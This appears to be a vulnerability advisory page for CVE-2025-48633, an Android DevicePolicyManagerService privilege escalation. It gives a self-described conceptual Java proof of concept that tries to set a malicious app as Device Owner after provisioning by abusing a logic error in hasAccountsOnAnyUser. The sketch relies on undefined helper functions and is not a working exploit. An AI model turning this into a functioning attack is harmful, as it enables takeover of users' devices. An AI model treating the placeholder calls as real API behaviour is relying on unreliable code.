CVE-2025-48633 | Android DevicePolicyManagerService 本地权限提升漏洞

// CVE-2025-48633 PoC - Android Device Owner Bypass // This PoC demonstrates the logic error in hasAccountsOnAnyUser method // Note: This is a conceptual PoC based on the vulnerability description // Actual exploitation requires specific Android device conditions // 1. Check if device is already provisioned boolean isProvisioned = checkDeviceProvisioning(); // 2. Attempt to add Device Owner after provisioning // The logic error allows this operation to succeed when it should fail try { // Normal flow should block this after provisioning // But the bug in hasAccountsOnAnyUser() returns incorrect result String adminPackage = "com.malicious.app"; // This should fail but succeeds due to logic error boolean result = setDeviceOwner(adminPackage, "device_owner" /* component */); if (result) { // Successfully added Device Owner - privilege escalation achieved // Attacker now has full device control grantAdminPrivileges(adminPackage); } } catch (SecurityException e) { // Expected to be thrown but bypassed due to bug Log.e("CVE-2025-48633", "Vulnerability blocked: " + e.getMessage()); } // The root cause is in hasAccountsOnAnyUser(): // - Method incorrectly checks account existence // - Returns false when it should return true // - Allows Device Owner addition after provisioning
